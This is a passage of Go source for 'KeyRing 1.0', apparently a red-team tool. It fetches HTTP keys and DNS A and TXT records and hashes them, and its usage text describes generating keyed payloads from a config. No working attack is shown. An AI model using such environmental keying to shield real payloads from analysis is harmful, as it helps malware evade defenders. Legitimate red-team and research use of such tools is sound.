"https://") { 307 | httpKey, err := lib.GenerateHttpKey(request) 308 | if err != nil { 309 | fmt.Printf("[!] Error receiving HTTP key for %s: %s\n", request, err) 310 | return 311 | } 312 | fmt.Printf("HTTP Key retrieved for %s\n", request) 313 | fmt.Println(httpKey) 314 | } else { 315 | // If not http:// or https:// lets try DNS 316 | // Do DNS A first 317 | fmt.Println("DNS A Request:") 318 | dnsA, dnsAHash, err := lib.GenerateDNSAKey(request) 319 | if err != nil { 320 | fmt.Printf("\tError received request A record: %s\n", err) 321 | } else { 322 | fmt.Printf("\tDNS Response: %s\n", dnsA) 323 | fmt.Printf("\tHash of Response: %s\n", dnsAHash) 324 | } 325 | 326 | // Do DNS TXT 327 | fmt.Println("DNS TXT Request:") 328 | dnsTXT, dnsTXTHash, err := lib.GenerateDNSTXTKey(request) 329 | if err != nil { 330 | fmt.Printf("\tError received request TXT record: %s\n", err) 331 | } else { 332 | fmt.Printf("\tDNS Response: %s\n", dnsTXT) 333 | fmt.Printf("\tHash of Response: %s\n", dnsTXTHash) 334 | } 335 | } 336 | } 337 | 338 | // not worth leveraging a third-party package but the included 339 | // flag package's usage printout isn't nice enough for me 340 | func usage() { 341 | name := "keyring" 342 | if runtime.GOOS == "windows" { 343 | name += ".exe" 344 | } 345 | fmt.Printf("\nUsage: %s [options] \n\n", name) 346 | 347 | // core functionality 348 | fmt.Println(" Generate Keyed Payload:") 349 | fmt.Println("\t--config ") 350 | fmt.Println("\t Config file to read. Required.") 351 | fmt.Println("\t--lint") 352 | fmt.Println("\t Check config file for errors and print functionality without running keyring.") 353 | fmt.Println() 354 | 355 | // list items 356 | fmt.Println(" Find language and keyer details:") 357 | fmt.Println("\t--list-langs") 358 | fmt.Println("\t List all languages.") 359 | fmt.Println("\t--list-keyers ") 360 | fmt.Println("\t List all keyers for a specified language.") 361 | fmt.Println("\t--help-keyer /") 362 | fmt.Println("\t Show detailed help information for a specific keyer.") 363 | fmt.Println() 364 | 365 | // retrieve things 366 | fmt.Println(" Grab remote keys:") 367 | fmt.Println("\t--request ") 368 | fmt.Println("\t Request and retrieve an HTTP or DNS key. Expects URL or hostname.") 369 | fmt.Println() 370 | } 371 | 372 | // http://ascii.co.uk/art/key 373 | func banner() { 374 | b := ` 375 | .--. KeyRing 1.0 376 | /.-. '------------. 377 | \'-' .--"--""-"-"-' 378 | '--'` 379 | 380 | fmt.Println() 381 | fmt.Println(b) 382 | fmt.Println() 383 | } 384 | --------------------------------------------------------------------------------